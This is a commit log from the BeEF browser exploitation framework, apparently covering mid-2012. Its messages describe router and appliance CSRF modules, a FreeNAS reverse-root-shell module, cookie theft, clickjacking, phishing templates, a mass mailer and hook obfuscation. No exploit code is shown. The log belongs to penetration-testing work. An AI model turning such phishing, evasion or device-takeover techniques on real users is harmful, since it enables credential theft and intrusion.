b20dec0adf ISSUES #713 Fixed 2012-10-14 01:52:17 +02:00
antisnatchor
aad6228ea8 Fix issues #757 : normalizing mount points for web_cloner in case they contain params. 2012-10-11 11:21:06 +01:00
bmantra
8e9f82ff2a Merge pull request #756 from bmantra/master
added some more default paths for metasploit-autolaunch
2012-10-07 10:28:01 -07:00
bmantra
22bb8998b2 added more default paths for the msf-autolaunch 2012-10-07 19:26:02 +02:00
bcoles
0f81e38635 Fix YAML config: extensions/social_engineering/config.yaml
Prevents this error due to lack of white space between array elements:

`[!] Unable to load extension configuration '/pentest/web/beef-git/extensions/social_engineering/config.yaml'`
2012-10-07 17:57:51 +10:30
bmantra
2b3654b1bb Merge pull request #755 from bmantra/master
HP uCMDB CSRF add user module
2012-10-05 04:26:20 -07:00
bmantra
03da56fc7d HP uCMDB CSRF add user module 2012-10-05 13:23:24 +02:00
bmantra
a0891dbccb Merge pull request #754 from bmantra/master
For now disable the auto msfrpcd load by default
2012-10-04 11:55:54 -07:00
bmantra
d04461d8ff disable auto msfrpcd 2012-10-04 20:50:51 +02:00
bmantra
f10f374a72 Merge pull request #753 from bmantra/master
Initial metasploit auto launch commit #96
2012-10-04 11:03:35 -07:00
Roos
480e797853 auto launch metasploit initial commit 2012-10-04 19:53:36 +02:00
Michele Orru
50df4f1e35 Merge pull request #752 from gallypette/master
New template for simple_hijacker social engineering module.
2012-10-01 08:40:13 -07:00
Jean-Louis Huynen
7e43e15838 modified config.yaml of simple_hijacker to activate chromecertbeggar2.js template 2012-10-01 16:11:18 +02:00
Jean-Louis Huynen
104f8189d3 added chromecertbeggar2.js 2012-10-01 16:06:45 +02:00
bcoles
ba20f17831 Ugh. Apparently target can't be null. Fixed. 2012-09-30 18:50:28 +09:30
bcoles
a135e9f51f Update supported browsers for multiple modules
Pretty Theft module does not work in IE

Multiple exploit modules haven't been tested
2012-09-29 17:39:14 +09:30
Brendan Coles
256f63d28a Merge pull request #748 from pwndizzle/master
Update to Pretty_Theft module
2012-09-23 00:18:49 -07:00
bcoles
95f5d78acc Update supported browsers for lcamtuf download module
Opera blocks the `data:` URL popup by default.

Safari is no longer listed as either supported nor unsupported pending
further testing.
2012-09-23 16:04:25 +09:30
pwndizzle
483683ca78 Added Facebook and Linkedin popups, also some code/logic improvements 2012-09-22 18:38:09 +08:00
Michele Orru
fe87d382db Merge pull request #747 from gallypette/master
Small change in Chromecertbeggar template of simple_hijacker module
2012-09-20 03:31:57 -07:00
Jean-Louis Huynen
68bfb46bc7 remplace setInterval by setTimeout in chromecerbeggar.js template 2012-09-20 11:26:27 +02:00
bmantra
edf99db187 Merge pull request #746 from bmantra/master
fix for jboss exploit
2012-09-18 12:01:44 -07:00
bmantra
9b62ae83dc fix jboss exploit with forge_request 2012-09-18 20:59:54 +02:00
antisnatchor
9c7c81bd7f Web_cloner: managed a corner case when html elements are uppercase (HEAD, FORM) 2012-09-17 12:54:10 +01:00
antisnatchor
e56b083ad5 Fixed typos in readme.txt for web_cloner 2012-09-17 11:03:13 +01:00
antisnatchor
074ca17e42 Added missing cloned_page directory to web_cloner. Added readme.txt on that directory. Enabled the social engineering extension by default. Enabled all the obfuscation techniques in the evasion extension config. 2012-09-17 10:58:07 +01:00
Wade Alcorn
87e3262bae Tidied up splash 2012-09-14 21:36:50 +10:00
Wade Alcorn
c8b7b506fa Tidied up splash 2012-09-14 21:24:10 +10:00
Wade Alcorn
921a9928ff Added twitter account to stdout 2012-09-14 21:10:32 +10:00
Wade Alcorn
62768e1ea2 Changed update method in stdout 2012-09-14 21:08:47 +10:00
Brendan Coles
3b07e700a5 Merge pull request #744 from webstersprodigy/improved-clickjacking
Clickjacking Module Update: Better reliability in IE
2012-09-12 19:31:22 -07:00
Rich Lundeen
0b852dd308 Made namespaces consistent and expanded body
Adding feedback I missed earlier regarding namespaces. Also since
we're using body instead of window (for IE support), expanding the
body so that the mouse follows everywhere.
2012-09-11 23:17:50 -07:00
Rich Lundeen
2720a5a8b9 Better reliability in IE 2012-09-11 13:09:37 -07:00
Brendan Coles
1c1f2d1f1c Merge pull request #743 from webstersprodigy/improved-clickjacking
Improved clickjacking
2012-09-10 23:02:14 -07:00
Rich Lundeen
bcf842587f Fixed several minor bugs 2012-09-10 15:36:57 -07:00
Rich Lundeen
cef72c9518 Improved Clickjacking Module
Rewrite of bcole's module. Adds support for multiple clicks, Javascript
event feedback, some basic framebusting evasion, and IE support
2012-09-10 14:25:46 -07:00
Wade Alcorn
19b1baee43 Version updated 2012-09-10 21:19:41 +10:00
bcoles
9e47942d3f Added FreeNAS remote reverse root shell CSRF module
For more information see: http://support.freenas.org/ticket/1788
2012-09-09 21:05:16 +09:30
antisnatchor
69c59bb427 Social Eng. extension: moved the extension config line in main config file. 2012-09-07 17:21:17 +01:00
antisnatchor
4218f44203 Merge branch 'master' of https://github.com/beefproject/beef 2012-09-07 17:18:04 +01:00
bcoles
384fe7bcab Fix issue #741 2012-09-07 23:00:24 +09:30
bcoles
8625452751 Add support for Firefox 15 2012-09-07 20:30:19 +09:30
antisnatchor
0dd06d6ecb Merge branch 'master' of https://github.com/beefproject/beef 2012-09-07 08:41:13 +01:00
antisnatchor
5fc56a9dfa Social Eng. extension: added stub for mass_mailer DB structure 2012-09-07 08:41:02 +01:00
antisnatchor
6ac074d2b0 Social Eng. extension: now the web_cloner can serve modified pages as well. This is needed when the page use custom logic to submit the form. Added an example of an Edf Energy modified page. 2012-09-06 12:37:26 +01:00
antisnatchor
b3ae5f1016 Social Eng. extension: added EDG Energy template configuration in config.yaml 2012-09-06 11:30:33 +01:00
antisnatchor
64ba4686f4 Social Eng. Extension: added EDF Energy phishing template :D 2012-09-06 11:27:12 +01:00
antisnatchor
2f5fc46a8e Social Eng. Extension: fixed a bug in mass_mailer when choosing a different template. 2012-09-06 11:26:31 +01:00
Michele Orru
45b839d970 Merge pull request #740 from gallypette/master
Simple_hijacker module (Social engineering): Awesome, merging it straight away ;)
2012-09-06 02:07:42 -07:00
bcoles
085f2775f3 Added beef.browser.hasCors() function 2012-09-06 17:50:27 +09:30
Jean-Louis Huynen
716e7fe712 Change stupid code that made this module unusable with the API to something less stupid (i hope) 2012-09-05 15:16:21 +02:00
Jean-Louis Huynen
05d7fe3adf Adding the Simple Hijacker module in social engineering (route clicks on some links to javascript code) 2012-09-04 17:47:59 +02:00
qswain2
931aeb6ee5 Fixed the module count in the ui to include sub modules (issue 708) 2012-09-03 09:46:03 -04:00
antisnatchor
31387a0aa6 Social Eng. extension: massmailer -> calling IO.popen in a secure way 2012-09-02 19:00:40 +01:00
antisnatchor
d881852216 Social Eng. extension: added notes about 'wget' and 'file' commands required for the extension. 2012-09-02 17:26:38 +01:00
antisnatchor
ed9b1d5c2e Social Eng. Extension: webcloner ->calling IO.popen in a secure way 2012-09-02 17:25:50 +01:00
antisnatchor
ae72f9fedf Social Eng. extension: added request.ip to interceptor logs, adapted output 2012-09-02 16:23:53 +01:00
bcoles
ab588c0f68 Add link_rewrite_tel module
Fixes issue #721
2012-09-02 16:58:43 +09:30
antisnatchor
8eb0e2d973 Social Eng. Extension: Added DB structure and logic for web_cloner and interceptor. 2012-09-01 15:15:30 +01:00
Michele Orru
01ea6e4a04 Merge pull request #737 from gallypette/master
Added Whitespace Evasion technique!
2012-08-31 07:32:46 -07:00
antisnatchor
9b1cae6790 Added social_engineering extension to main BeEF config file. 2012-08-31 15:22:09 +01:00
antisnatchor
6b5302ef21 Social Eng. Extension: Added RESTful API calls for both mass_mailer and web_cloner 2012-08-31 14:08:08 +01:00
antisnatchor
a6a9af8483 Minor changes to main Server class (mounts need to be an instance variable) 2012-08-31 14:07:33 +01:00
antisnatchor
9ea0f60138 Social Eng. extension: added default PDF attachment to config.yaml 2012-08-29 22:48:45 +01:00
antisnatchor
6409b3d98f Social Eng. extension: mount point for phishing page is not configurable, refactored Interceptor initialization using config settings 2012-08-29 22:36:24 +01:00
antisnatchor
26c7696e0f Social Eng. extension: if the page can be framed, load it in an overlay iFrame maintaining the hook :D 2012-08-29 21:08:07 +01:00
antisnatchor
0260181d33 Social Eng. extension: added redirection after POST interception, refactored Interceptor class 2012-08-29 19:33:14 +01:00
antisnatchor
20d2e17232 Social Eng. extension: added support for SMTP servers that do not require authentication 2012-08-29 17:50:14 +01:00
antisnatchor
92b2382e25 Social Eng. extension: added support to specify attachments, added automatic MIME type guessing 2012-08-29 17:38:37 +01:00
Jean-Louis Huynen
e86712413c modified whitespace evasion technique to keep it simple - modified beefjs (just one line, i don't had much time to investigate my change but it seems to work better with it than without it :) 2012-08-29 18:22:22 +02:00
Jean-Louis Huynen
788cef08d3 add whitespace obfuscation technique - should work in theory - but does not in practice 2012-08-29 13:54:26 +02:00
antisnatchor
ffbd3d65b9 Social Eng. extension: various fixes, link/linktext/fromname configurable, adjusted various email headers 2012-08-27 21:30:09 +01:00
antisnatchor
df056fb688 Social Eng. extension: added configurable email templates 2012-08-27 16:10:40 +01:00
antisnatchor
26c86951a4 Social Eng. extension: added mass mailer 2012-08-27 14:30:10 +01:00
antisnatchor
558ca03ef6 Social Eng. extension: added basic structure and web cloner 2012-08-27 10:28:03 +01:00
antisnatchor
42c348f3f2 Added timeout.js that calls beef_init an fix some nasty cross-domain hooking issues when the hooking process was not started. 2012-08-25 10:26:16 +01:00
antisnatchor
b6c12fd0f3 Added copyright to are.js 2012-08-25 10:25:31 +01:00
bcoles
57f68725bc Moved lcamtuf download module to social engineering category 2012-08-25 18:54:15 +09:30
antisnatchor
50e7a1c206 Refactored WebSocket code. 2012-08-25 10:18:56 +01:00
antisnatchor
5400696c40 Refactored and modified beefjs.rb: splitted external lib files from beef files, added the feature for #734 to exclude some core lib js files (like jquery) from obfuscation 2012-08-25 09:58:25 +01:00
antisnatchor
7ed9516b53 Obfuscation: removed base64 from the default chain list, added excluded_core_js option 2012-08-25 09:55:53 +01:00
antisnatchor
aeb17e7d7a Changed target support to notify_all for lcamtuf download module (pop-up blockers) 2012-08-24 19:46:02 +01:00
bmantra
7c26ac6a1e Merge pull request #735 from bmantra/master
fixes #725 initial commit for lcamtuf download trick module
2012-08-24 11:27:25 -07:00
bmantra
f852ca26cb lcamtuf download module 2012-08-24 20:24:37 +02:00
Mike Haworth
5a9a050c1c added new phonegap modules, to check connection type (wifi/3g) and ensure beef hook survives suspend resume of app. 2012-08-22 20:51:49 +12:00
Mike Haworth
ad2bc95cf0 updated local file theft to accept custom file path 2012-08-22 20:50:03 +12:00
Mike Haworth
f2d4a88810 added abilty to detect new phonegap renamed 'cordova' 2012-08-22 20:48:55 +12:00
Wade Alcorn
6897962803 Version updated 2012-08-15 13:39:16 +10:00
sussurro
8c43fffb36 Fixed Twitter client to not cause errors on failed tweets allowing logins etc to continue 2012-08-12 19:27:19 -07:00
radoen
93bb25aa0b Set to false websocket and https 2012-08-10 13:47:42 +02:00
radoen
5697eac123 Added support for wss, issue #714 2012-08-10 13:43:48 +02:00
antisnatchor
ea89b0ca64 Added support for Safari 6. 2012-08-06 20:55:38 +01:00
antisnatchor
dfe61f3a17 Reverted back default port to 3000. My bad. 2012-08-06 15:06:53 +01:00
antisnatchor
b3b3ae828b Updated fake_flash_update module description, to specify that the Chrome extension delivery will work on Chrome <= 20 only. 2012-08-06 14:30:19 +01:00
antisnatchor
1f88bb4cc3 Added default key/cert files for HTTPS support, added a few notes about it on config.yaml 2012-08-06 14:25:53 +01:00
Christian Frichot
b58e9b955e Fixes Issue #733 - Thin SSL support initial release 2012-08-05 16:17:18 +08:00
Michele Orru
56db0c35fe Merge pull request #730 from mpapis/patch-1
Make sense. Thanks!
2012-08-04 03:19:22 -07:00
Michele Orru
6b126744c3 Merge pull request #732 from offensivecoder/notifications
Looks good to me. My fast code-review on the fly through GitHub was OK :D
2012-08-04 03:18:17 -07:00
Marc Wickenden
2ad1ba4fbf remove superfluous notifications.rb 2012-08-03 23:59:32 +01:00
Marc Wickenden
3504946636 disable console in commited version 2012-08-03 23:29:24 +01:00
Marc Wickenden
26ab3be0b8 remove Gemfile.lock from commit 2012-08-03 23:15:43 +01:00
Marc Wickenden
0cec6b87a8 fixed disabling of notifications extension 2012-08-03 23:13:58 +01:00
Marc Wickenden
192eb9706d disable twitter and email notifications by default 2012-08-03 22:14:20 +01:00
Marc Wickenden
bd4b28ae3c turn off debugging in committed version 2012-08-03 22:04:28 +01:00
Marc Wickenden
1d3ea4d10c Merge branch 'master' of https://github.com/beefproject/beef into notifications 2012-08-03 22:03:08 +01:00
Marc Wickenden
45c9f674e4 remove IRC config, might get around to this one day 2012-08-03 22:00:54 +01:00
Michal Papis
73fc960333 improved installation command
updated the installation command:

 - reversed notation to prevent `curl -s` and hiding errors,
 - shortened the commit sha1, still usable but easier to see whole command.
2012-08-02 21:22:35 +03:00
Marc Wickenden
82dc6fee0d remove now redundant handler 2012-08-02 11:51:14 +01:00
Marc Wickenden
1a6bf75d57 remove now redundant handlers directory 2012-08-02 11:50:05 +01:00
Marc Wickenden
707759950d working but kludgey version of notifications with twitter and email support 2012-08-02 11:41:24 +01:00
antisnatchor
c2a2135046 Added Chrome 21 fingerprinting. 2012-08-01 12:28:24 +01:00
antisnatchor
560aa7f610 Changed default WebSockets port to increase success rate through proxies. 2012-07-31 09:28:55 +01:00
bmantra
7c7103b685 Merge pull request #729 from bmantra/master
add default beef ip/host to connect back to
2012-07-25 05:50:32 -07:00
bmantra
e299045539 add default beef host/ip to connect to 2012-07-25 14:47:56 +02:00
Christian Frichot
83f29505a5 Minor fix to the Shell interface - can review offline targets now 2012-07-25 14:21:37 +08:00
bmantra
fac1ff45ca Merge pull request #727 from bmantra/master
updated description IRC NAT Pinning
2012-07-23 23:11:07 -07:00
bcoles
a4e74aaad0 Added AlienVault OSSIM 3.1 XSS module 2012-07-24 10:55:28 +09:30
bmantra
1226ed4b34 nat tested 2012-07-23 20:30:04 +02:00
bmantra
9b9e74967b nat tested 2012-07-23 20:26:38 +02:00
bmantra
b7a4314424 nat tested 2012-07-23 20:21:36 +02:00
antisnatchor
701d634f4f NAT_pinning: updated description 2012-07-23 18:34:06 +01:00
antisnatchor
d5606c9bf4 NAT pinning. now uses the new bind/unbind socket methods of the AssetHandler. No need to use netcat anymore ;) 2012-07-23 18:31:54 +01:00
antisnatchor
71fb6ae089 bind_socket: receive buffer length increased to 1024 bytes 2012-07-23 18:25:55 +01:00
Christian Frichot
2b8a389da1 Fixes Issue #724 - Console Shell now prints modules which are in sub-categories 2012-07-23 20:30:00 +08:00
Christian Frichot
34a2f86877 Tidied up the gmail phishing module - its not embedded so category is now a string not array 2012-07-23 19:31:57 +08:00
antisnatchor
6139da2161 Managing the famous if data == buffer_length case while receiving data in socket (bind_socket) 2012-07-23 11:05:38 +01:00
antisnatchor
6342fdad77 Fixec and enhanced the bind_socket method in AssetHandler. Multi-thread, close socket when no more data is received, print_debug raw request 2012-07-23 10:55:41 +01:00
bcoles
1defa2dbc2 Multiple changes to console:
[console] Fixed bug in displaying browser info in console
[console] Added zombie IDs to console messages
[console] Added browser type to zombie info
[console] Added menu support for selecting multiple zombies (incomplete)
2012-07-22 20:38:28 +09:30
antisnatchor
6188fe4be9 Fix issue #723. Added amin_ui authenticated endpoints that returns the RESTful api token. useful when calling the Restful api from ExtJS 2012-07-22 11:52:27 +01:00
Marc Wickenden
6ade1469bb initial commit of notifications extension 2012-07-19 22:51:39 +01:00
bcoles
bfa2e6dbf7 Minor formatting changes to the console
Command list now fits on terminals 80 columns wide
2012-07-18 23:48:10 +09:30
bcoles
8e2f0e9a44 Added support for Firefox 14 2012-07-18 22:03:24 +09:30
antisnatchor
ac05f24b64 Reverted back change on pre_send (nat_pinning module) 2012-07-15 19:17:04 +01:00
bmantra
5a2b29bab4 changed description and temp disabled the listening socket as it needs some more testing 2012-07-15 20:08:59 +02:00
antisnatchor
be71984362 Patched bind_socket: support multiple clients, don't close the client socket 2012-07-15 17:26:01 +01:00
antisnatchor
dd43da5e51 Modified nat_pinning module to bind a socket on pre_send (new bind_socket api call) 2012-07-15 12:58:36 +01:00
antisnatchor
69c883568f Merge branch 'master' of https://github.com/beefproject/beef 2012-07-15 12:57:49 +01:00
antisnatchor
6dbf64cfa7 Added bind_socket/unbind_socket to AssetHandler 2012-07-15 12:57:21 +01:00
bcoles
7f0026fc79 Added Linksys WVC series wireless camera CSRF module 2012-07-15 19:18:37 +09:30
bcoles
40f7145531 Updated D-Link DIR-615 router module 2012-07-15 19:01:09 +09:30
bcoles
d8adf26827 Added Asmax AR-804gu Command Execution module 2012-07-15 00:49:19 +09:30
bcoles
c380ca75ed Added 3COM OfficeConnect Command Execution module 2012-07-15 00:16:11 +09:30
bcoles
9d2022531c Added Cisco E2400 CSRF router module 2012-07-14 22:44:58 +09:30
antisnatchor
4d262d6d19 Issue #556 : added json response to RESTful endpoint /api/modules/multi 2012-06-30 19:00:42 +01:00
antisnatchor
bd6065eff9 Issue #556 : updated exception error message 2012-06-30 18:38:25 +01:00
antisnatchor
5d47739c71 Issue #556 : added RESTful api endpoint /api/modules/multi 2012-06-30 18:33:51 +01:00
antisnatchor
3aadf6fa75 Issue #556 : the RESTful api call to retrieve HBs now returns also the ID of the HB 2012-06-30 16:00:31 +01:00
antisnatchor
b784710ca9 Added detection of Opera 12.x (still beta) 2012-06-30 15:42:03 +01:00
Brendan Coles
fa569fa3e7 Merge pull request #712 from bmantra/master
Fixes #102
2012-06-30 03:08:15 -07:00
bmantra
3784cc4e37 Updated description 2012-06-30 11:56:21 +02:00
bmantra
f34443ef46 Merge remote branch 'upstream/master' 2012-06-30 11:54:49 +02:00
bcoles
9fdd8bc819 Added support for Chrome 20 2012-06-29 13:41:05 +09:30
bcoles
29ba7dbf38 Added spaces to two config.yaml files
Fixes bug with parsing yaml on some versions of Ruby
2012-06-29 08:42:21 +09:30
bcoles
b7126c2fe3 Updated DNS Tunnel module description
Fixes issue #709
2012-06-28 21:46:48 +09:30
antisnatchor
e6ce3adba5 Merge branch 'master' of https://github.com/beefproject/beef 2012-06-28 13:28:52 +01:00
antisnatchor
e54ec1e569 Updated authors, sorry dude (n0x00). issue #711 2012-06-28 13:28:18 +01:00
qswain2
b89ff04930 Fixed accidental removal of are init call in init.js 2012-06-28 06:44:27 -04:00
antisnatchor
2ef1492eed Added comment in config.yaml for #711 2012-06-28 09:55:44 +01:00
antisnatchor
cc29a4434f Added PAssword wipe XSRF for Dlink DIR-615 (issue #711) 2012-06-28 09:53:59 +01:00
qswain2
6a4f2ac6be Merge branch 'master' of github.com:beefproject/beef 2012-06-27 23:00:55 -04:00
bmantra
17f5689bf8 Merge remote branch 'upstream/master' 2012-06-27 20:18:05 +02:00
bcoles
1e0f83d23f Added better icon for iOS 2012-06-27 21:58:07 +09:30
antisnatchor
727c746303 Added Java to the baloon popup of the admin_ui, and removed phonegap. 2012-06-27 12:28:09 +01:00
antisnatchor
3b72f43ad4 Fixes issue #710 : added Confirm Close Tab module 2012-06-27 11:24:35 +01:00
antisnatchor
473f71e42d Added missing WebOS constant/image that were preventing admin_ui to work properly. 2012-06-27 10:23:43 +01:00
bcoles
4432a9e468 Added module: Create Invisible Iframe 2012-06-27 01:50:07 +09:30
bcoles
7686d55b4b Added hardware detection for HTC, Motorola, Google Nexus, Nokia, Sony
Ericsson
2012-06-26 18:52:03 +09:30
qswain2
8b17643fdc Merged changes from origin 2012-06-25 23:53:43 -04:00
qswain2
8d8a0ca9e9 Merge branch 'master' of github.com:beefproject/beef
Conflicts:
	core/main/handlers/modules/beefjs.rb
2012-06-25 22:59:31 -04:00
qswain2
4f6d07bced Added init call for are 2012-06-25 22:56:45 -04:00
bcoles
123b81b2b4 Updated virgin_superhub_csrf module
Now disables firewall and enabled remote administration

Fixes issue #705
Fixes issue #706
Fixes issue #707
2012-06-25 11:18:28 +09:30
bcoles
d5acc6409e Added beef.browser.hasPhonegap()
Added hasPhonegap() and hasGooglegears() to balloon messages

Updated os in module configs from "iPhone" to "iOS"
2012-06-25 11:04:19 +09:30
bmantra
286d0a18fb nat pinning 2012-06-24 19:40:05 +02:00
bcoles
268ef4588f Added device/hardware detection 2012-06-25 01:35:33 +09:30
bcoles
9440afacc9 Removed duplicate / from a few CSRF URLs
Just in case it causes issues
2012-06-25 00:57:26 +09:30
bcoles
7fde875d8a Changed default target IP address to http://192.168.100.1/ for the
virgin_superhub_csrf module
2012-06-24 22:21:19 +09:30
bcoles
ebe205ad36 Updated a couple of module configs
modules/exploits/router/virgin_superhub_csrf/config.yaml
modules/misc/local_file_theft/config.yaml
2012-06-24 20:44:06 +09:30
bcoles
71133869e4 Added browser details to Hooked Browser balloon messages
Fixes issue #521
2012-06-24 20:36:10 +09:30
bcoles
90462c32b8 Merge branch 'master' of https://github.com/beefproject/beef 2012-06-24 17:12:57 +09:30
bcoles
1bf9061c1a Added a couple of CSRF modules:
o ./modules/exploits/boastmachine_3_1_add_user_csrf/
	o ./modules/exploits/axous_1_1_1_add_user_csrf/

Updated a few exploit titles
2012-06-24 17:10:37 +09:30
Wade Alcorn
2cb40530de Merge branch 'master' of github.com:beefproject/beef 2012-06-24 08:28:21 +01:00
bcoles
771d6d60f9 Added Virgin Superhub CSRF module
Fixes issue #703
2012-06-24 15:22:35 +09:30
bcoles
40f8b528aa Moved a few modules from modules/exploits/ to modules/exploits/local_host:
activex_command_execution
	mozilla_nsiprocess_interface
	window_mail_client_dos
	java_payload
	safari_launch_app

Added a couple of XSS modules:
	cisco_collaboration_server_5_xss
	serendipity_1.6_xss
2012-06-24 03:10:54 +09:30
bcoles
aefc693548 Added balloon popups to hooked browser tree
Part of issue #521
2012-06-24 00:57:01 +09:30
bcoles
853b4c5bcb Added Spring Framework Malicious JAR module
Fixes issue #526
2012-06-23 22:45:48 +09:30
Wade Alcorn
49b85201d0 Changed print_success to print_info 2012-06-23 12:51:20 +01:00
Wade Alcorn
900942f59c Added comment 2012-06-23 09:06:17 +01:00
Wade Alcorn
c4e0ce17c4 Added update file that calls git pull 2012-06-22 21:07:45 +01:00
Wade Alcorn
0a34150cf7 Version updated 2012-06-22 21:01:09 +01:00
antisnatchor
aa8e073494 Changes debug logs in the evasion main class. 2012-06-21 12:34:26 +01:00
qswain2
616d427a05 Merge branch 'master' of github.com:beefproject/beef
Updating to keep up wiht main repo
2012-06-14 21:13:16 -04:00
Mike Haworth
37e42b50d0 Moved screenshot module to correct location 2012-06-14 06:09:44 +12:00
Michele Orru
dae01474ab Merge pull request #700 from bmantra/master
Closes #699
2012-06-13 04:54:30 -07:00
bmantra
ece65e9841 added fingerprint for Glassfish server 2012-06-13 13:38:48 +02:00
Mike Haworth
cb9125eb1a added a chrome_extension module that takes a screenshot of the current tab, image returned as dataurl for now 2012-06-13 21:33:47 +12:00
Michele Orru
29d576b2e7 Merge pull request #696 from bmantra/master
Closes #661  Glassfish 3.1.1 war upload csrf
2012-06-13 01:47:55 -07:00
bmantra
3accb24b2b Does not work in Opera due to cross domain issues. And cannot work in IE due to lack of sendAsBinary-functionality in xmlhttprequest. So removed the Base64-library and used atob instead. 2012-06-13 10:00:45 +02:00
root
27ed3ac2da Merge remote branch 'upstream/master' 2012-06-08 08:30:35 +02:00
Saafan
4cee2c550f Merge branch 'master' of https://github.com/beefproject/beef 2012-06-07 14:07:37 +02:00
qswain2
32c332c965 Merge branch 'master' of github.com:beefproject/beef
pulling in latest commits
2012-06-07 01:07:40 -04:00
bcoles
99c6a819f3 Updated module description for webcam and gmail phishing modules
Updated gmail phishing module to hide the polling image

Fixed a couple of typos
2012-06-07 13:56:26 +09:30
Brendan Coles
3430de2a03 Merge pull request #691 from floyd-fuh/master
Webcam and Gmail Phishing plugin
2012-06-06 21:36:45 -07:00
bcoles
6f3298235f Added IE to not_working for glassfish_war_upload_xsrf module 2012-06-07 13:29:59 +09:30
qswain2
b02b96791a daily update from repo
Merge branch 'master' of github.com:beefproject/beef
2012-06-06 19:30:04 -04:00
floyd
475cc4e40d Added Gmail phishing module 2012-06-06 18:49:17 +01:00
floyd
dbae1f60dd Added webcam module 2012-06-06 18:47:48 +01:00
bcoles
6396f7aa5a Fixes issue #688
Added spaces to comma delemetered data in config.yaml files

This should fix an issue reported to affect Ruby 1.9.2
2012-06-05 23:27:21 +09:30
Ben Waugh
defc5987c7 Added #!/bin/bash to install script 2012-06-05 07:28:50 +10:00
bmantra
ac258f654d added not_working: ["IE"] 2012-06-04 21:24:01 +02:00
Michele Orru
1d13368644 Merge pull request #689 from bmantra/master
fixes #661. Ported @malerish PoC for GlassFish (deploy WAR through XSRF)
2012-06-03 15:30:20 -07:00
root
8e7e546ef9 fixes #661 2012-06-03 19:53:33 +02:00
qswain2
6063e6246d Added miniied jools to lib and included jools in buildjs string. Had to modify the underscore template settis to resolve conflicts in the erubis evaluator. Created are object as apart of beefjs and created basic stub to create the jools object. 2012-06-02 13:15:35 -04:00
qswain2
41e64568e8 Merge branch 'master' of github.com:beefproject/beef 2012-06-01 23:33:15 -04:00
bcoles
729336df53 Added debug mode to clickjacking module 2012-06-01 10:49:46 +09:30
qswain2
f622171eef added rowserfied jools js file so that jools can be used in the browser 2012-05-31 00:57:22 -04:00
bcoles
9e2ac56ea6 Added clickjacking module
Fixes issue 105
2012-05-30 19:40:29 +09:30
bcoles
fdd9d2c555 Added Cross-Site Printing module 2012-05-30 17:11:34 +09:30
bcoles
d76c0a39c7 Trivial readme updates 2012-05-30 09:24:08 +09:30
bcoles
1b9153485e Removed Induce Seizure module
There is no reason what so ever for browsers to be able to cause the
screen to flicker. This issue has been known for a very long time.

Maybe it's time browser developers consider the health of their users.

---

Can cows get epilepsy? Breeds such as Swedish Red Cattle, Hereford and
Angus have been reported to suffer epilepsy. Source:
http://www.kgbanswers.co.uk/can-cows-get-epilepsy/2217549

Think of the cows.
2012-05-29 20:41:41 +09:30
bcoles
8dc4261094 Updated get_all_cookies module description 2012-05-29 20:37:14 +09:30
bcoles
1c9310f89f Added Induce Seizure module
Disabled by default
2012-05-29 20:02:16 +09:30
Mike Haworth
4e75c869ff Merge branch 'master' of github.com:beefproject/beef 2012-05-29 22:44:52 +12:00
Mike Haworth
5aa2cefc43 Chrome extension module for stealling cookies inc. HTTPonly 2012-05-29 22:44:03 +12:00
Mike Haworth
172ec56be6 Got a better splash image, added cookies permission, added some brief documentation 2012-05-29 22:42:58 +12:00
bcoles
0ac7023df1 Renamed getScreenParams() to getScreenSize()
Added date stamp to browser hook initialization
2012-05-29 18:52:43 +09:30
bcoles
75315f8622 Added support for Firefox 13
Added return message for fake flash update module
2012-05-29 16:40:15 +09:30
antisnatchor
874bc14278 Close issues #541 and #684. Added 2 command line options to ovveride default port and websocket server port 2012-05-28 13:44:05 +01:00
bcoles
53b0781961 Updated supported browsers and module description for:
o modules/misc/iframe_sniffer/config.yaml
o modules/social_engineering/fake_flash_update/config.yaml
2012-05-28 10:28:31 +09:30
Mike Haworth
dc040a51ac added fake flash player module and chrome extension 2012-05-28 00:17:53 +12:00
Michele Orru
b84ec775a1 Merge pull request #683 from bmantra/master
Merging pull request for framesniffing module (issue #644).
2012-05-25 11:18:41 -07:00
antisnatchor
b3f8504a2e Evasion: added support to scramble cookies as well. 2012-05-25 12:02:28 +01:00
antisnatchor
0d2598e0b8 MITB: closed expressions 2012-05-25 11:18:33 +01:00
antisnatchor
c79a2ee6f1 Evasion: Added bootstrapper functionality. Added support for obfuscate modules with the same techniques used for the hook. 2012-05-23 15:23:15 +01:00
antisnatchor
c1d021a7e8 Evasion: Fixed bug in scrambler. 2012-05-23 15:01:02 +01:00
antisnatchor
aee0b1e50f Evasion: scramble now stores random values in the config object, in order to be re-used later on in a consistent way. 2012-05-23 13:44:41 +01:00
antisnatchor
b7f6073631 Evasion: added helper module for common methods (random_string) 2012-05-23 13:43:28 +01:00
antisnatchor
0ce3490420 Don't use eval when evaluating the base64'ed blob in the Evasion extension. It was also triggering BeEF "static analysis" tests LOL 2012-05-22 17:37:36 +01:00
antisnatchor
8d805c550f Started working on the Evasion/Obfuscation extension. Added scrambler, minifier and base64 encoder in the chain. 2012-05-22 16:41:29 +01:00
antisnatchor
395141b8c8 Merge remote-tracking branch 'origin/master' 2012-05-22 13:39:05 +01:00
antisnatchor
1282831af1 Terminating unterminated statements in various JS files. 2012-05-22 13:38:28 +01:00
antisnatchor
2bad801c80 Terminating unterminated statements in various JS files. 2012-05-22 13:27:57 +01:00
bcoles
981b13ce7b Added huawei_smartax_mt880 CSRF module 2012-05-22 17:52:36 +09:30
bcoles
6739094f57 Added dlink_dcs_series_csrf module 2012-05-22 17:22:20 +09:30
Michele Orru
f08fa2568b Merge pull request #682 from zepip/master
README changes
2012-05-21 05:38:45 -07:00
Pipes
9da617a50a README changes
Introduce README.mkd
Mirror without markdown in README
Move detailed installation instructions to INSTALL.txt
2012-05-21 19:42:12 +12:00
bcoles
f8eba21cb4 Moved a few more modules and updated some module descriptions 2012-05-20 18:50:10 +09:30
bcoles
460b619cc1 Moved Router and Switch categories under Exploits category
Added Social Engineering category
2012-05-20 18:32:44 +09:30
Brendan Coles
56443cfdf4 Merge pull request #680 from bmantra/master
module to change password of a netgear GS108t managed switch
2012-05-19 21:14:16 -07:00
Michele Orru
86b3103925 Merge pull request #681 from radoen/master
Merging WebSocket fork, disabled by default.
2012-05-19 12:00:13 -07:00
antisnatchor
b49548d22e Temporarily disabled DebugModules tests. 2012-05-19 19:54:21 +01:00
antisnatchor
51b27709dd Merge remote-tracking branch 'upstream/master'. WS: added stringifying command results in beef.net.send 2012-05-19 19:19:03 +01:00
Mike Haworth
b420fe0523 When using safari as cross-domain proxy polling failed if firefox requested http://fxfeeds.mozilla.com/en-US/firefox/headlines.xml. The cause was JSON.stringify failing, so just through a try /catch round it 2012-05-20 00:05:02 +12:00
